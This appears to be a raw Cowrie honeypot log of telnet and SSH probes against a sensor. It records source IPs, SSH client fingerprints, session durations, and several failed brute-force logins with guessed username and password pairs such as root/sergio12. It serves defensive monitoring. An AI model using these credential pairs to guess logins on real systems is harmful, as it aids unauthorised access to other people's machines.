{"eventid":"cowrie.session.connect","src_ip":"20.231.213.159","src_port":52340,"dst_ip":"10.17.0.5","dst_port":23,"session":"7009ebe7fd51","protocol":"telnet","message":"New connection: 20.231.213.159:52340 (10.17.0.5:23) [session: 7009ebe7fd51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:07:54.120547Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.134.49.171","src_port":36666,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a8f9fab103b","protocol":"ssh","message":"New connection: 78.134.49.171:36666 (159.203.135.109:22) [session: 1a8f9fab103b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:08:01.544948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:08:01.549894Z","src_ip":"78.134.49.171","session":"1a8f9fab103b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:08:01.666375Z","src_ip":"78.134.49.171","session":"1a8f9fab103b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"passwdroot","message":"login attempt [admin/passwdroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:08:02.137640Z","src_ip":"78.134.49.171","session":"1a8f9fab103b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.231.213.159","src_port":52346,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2f95c3a2dc3","protocol":"telnet","message":"New connection: 20.231.213.159:52346 (10.17.0.5:23) [session: b2f95c3a2dc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:08:02.143672Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:08:03.278483Z","src_ip":"78.134.49.171","session":"1a8f9fab103b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.940948724746704,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:08:04.641069Z","src_ip":"20.231.213.159","session":"4d59cb69fce6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.29728388786316,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:08:14.412318Z","src_ip":"103.115.172.252","session":"738c3fe40611","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.231.213.159","src_port":60788,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7d5920fce43","protocol":"telnet","message":"New connection: 20.231.213.159:60788 (10.17.0.5:23) [session: b7d5920fce43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:08:23.240459Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.231.213.159","src_port":54586,"dst_ip":"10.17.0.5","dst_port":23,"session":"a375aa780efe","protocol":"telnet","message":"New connection: 20.231.213.159:54586 (10.17.0.5:23) [session: a375aa780efe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:08:23.668251Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.96.43.54","src_port":32380,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8e8b4a9bfa0","protocol":"telnet","message":"New connection: 117.96.43.54:32380 (10.17.0.5:23) [session: b8e8b4a9bfa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:08:25.122478Z"}
{"eventid":"cowrie.session.closed","duration":31.28968644142151,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:08:25.410129Z","src_ip":"20.231.213.159","session":"7009ebe7fd51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.231.213.159","src_port":54582,"dst_ip":"10.17.0.5","dst_port":23,"session":"481d80af4b4b","protocol":"telnet","message":"New connection: 20.231.213.159:54582 (10.17.0.5:23) [session: 481d80af4b4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:08:27.528468Z"}
{"eventid":"cowrie.session.closed","duration":31.641734838485718,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:08:33.785321Z","src_ip":"20.231.213.159","session":"b2f95c3a2dc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.879460096359253,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:08:38.001806Z","src_ip":"117.96.43.54","session":"b8e8b4a9bfa0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":54112,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7f60cdb9f11","protocol":"telnet","message":"New connection: 103.115.172.252:54112 (10.17.0.5:23) [session: c7f60cdb9f11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:08:45.825524Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":59442,"dst_ip":"159.203.135.109","dst_port":23,"session":"8457179b511e","protocol":"telnet","message":"New connection: 185.26.126.47:59442 (159.203.135.109:23) [session: 8457179b511e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:08:50.230343Z"}
{"eventid":"cowrie.session.closed","duration":30.75723123550415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:08:54.425327Z","src_ip":"20.231.213.159","session":"a375aa780efe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.50978422164917,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:08:54.750128Z","src_ip":"20.231.213.159","session":"b7d5920fce43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.438401460647583,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:08:58.966747Z","src_ip":"20.231.213.159","session":"481d80af4b4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.255.52.36","src_port":35200,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ed716135bba","protocol":"ssh","message":"New connection: 191.255.52.36:35200 (159.203.135.109:22) [session: 4ed716135bba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:09:05.248527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:09:05.257330Z","src_ip":"191.255.52.36","session":"4ed716135bba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:09:05.421084Z","src_ip":"191.255.52.36","session":"4ed716135bba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sergio12","message":"login attempt [root/sergio12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:09:06.021966Z","src_ip":"191.255.52.36","session":"4ed716135bba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:09:07.322860Z","src_ip":"191.255.52.36","session":"4ed716135bba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.134.49.171","src_port":45414,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f9b8fde6a0e","protocol":"ssh","message":"New connection: 78.134.49.171:45414 (159.203.135.109:22) [session: 5f9b8fde6a0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:09:11.690731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:09:11.695026Z","src_ip":"78.134.49.171","session":"5f9b8fde6a0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:09:11.801715Z","src_ip":"78.134.49.171","session":"5f9b8fde6a0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qwertyu","message":"login attempt [test/qwertyu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:09:12.275773Z","src_ip":"78.134.49.171","session":"5f9b8fde6a0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:09:13.387030Z","src_ip":"78.134.49.171","session":"5f9b8fde6a0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":49372,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb0d484852ac","protocol":"ssh","message":"New connection: 5.182.83.231:49372 (10.17.0.5:22) [session: fb0d484852ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:09:21.533805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:09:21.538417Z","src_ip":"5.182.83.231","session":"fb0d484852ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:09:21.656605Z","src_ip":"5.182.83.231","session":"fb0d484852ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789Aa","message":"login attempt [root/123456789Aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:09:22.176810Z","src_ip":"5.182.83.231","session":"fb0d484852ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.29792308807373,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:09:23.123318Z","src_ip":"103.115.172.252","session":"c7f60cdb9f11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:09:23.296769Z","src_ip":"5.182.83.231","session":"fb0d484852ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.547088623046875,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:09:35.777325Z","src_ip":"185.26.126.47","session":"8457179b511e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.255.52.36","src_port":40554,"dst_ip":"159.203.135.109","dst_port":22,"session":"3fd95470fbd2","protocol":"ssh","message":"New connection: 191.255.52.36:40554 (159.203.135.109:22) [session: 3fd95470fbd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:09:45.997808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:09:46.018325Z","src_ip":"191.255.52.36","session":"3fd95470fbd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:09:46.215221Z","src_ip":"191.255.52.36","session":"3fd95470fbd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qingdao@123","message":"login attempt [root/qingdao@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:09:46.816385Z","src_ip":"191.255.52.36","session":"3fd95470fbd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:09:48.016398Z","src_ip":"191.255.52.36","session":"3fd95470fbd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.134.49.171","src_port":54153,"dst_ip":"159.203.135.109","dst_port":22,"session":"13515744c763","protocol":"ssh","message":"New connection: 78.134.49.171:54153 (159.203.135.109:22) [session: 13515744c763]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:10:16.323332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:10:16.328032Z","src_ip":"78.134.49.171","session":"13515744c763","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:10:16.440889Z","src_ip":"78.134.49.171","session":"13515744c763","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy@1234","message":"login attempt [deploy/deploy@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:10:16.910274Z","src_ip":"78.134.49.171","session":"13515744c763","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:10:18.025833Z","src_ip":"78.134.49.171","session":"13515744c763","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":50290,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3a7d28f2187","protocol":"telnet","message":"New connection: 103.115.172.252:50290 (10.17.0.5:23) [session: e3a7d28f2187]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:10:54.980982Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.231.213.159","src_port":55588,"dst_ip":"10.17.0.5","dst_port":23,"session":"03caa26c1d74","protocol":"telnet","message":"New connection: 20.231.213.159:55588 (10.17.0.5:23) [session: 03caa26c1d74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:10:59.355211Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.231.213.159","src_port":55600,"dst_ip":"10.17.0.5","dst_port":23,"session":"0da2ab7ae399","protocol":"telnet","message":"New connection: 20.231.213.159:55600 (10.17.0.5:23) [session: 0da2ab7ae399]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:01.129013Z"}
{"eventid":"cowrie.session.connect","src_ip":"175.136.135.121","src_port":47118,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a679aa12b66","protocol":"telnet","message":"New connection: 175.136.135.121:47118 (10.17.0.5:23) [session: 2a679aa12b66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:17.798396Z"}
{"eventid":"cowrie.session.closed","duration":31.513802766799927,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:30.868875Z","src_ip":"20.231.213.159","session":"03caa26c1d74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.295067071914673,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:31.093337Z","src_ip":"175.136.135.121","session":"2a679aa12b66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.134.49.171","src_port":34663,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2f8b2e3a951","protocol":"ssh","message":"New connection: 78.134.49.171:34663 (159.203.135.109:22) [session: b2f8b2e3a951]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:32.424692Z"}
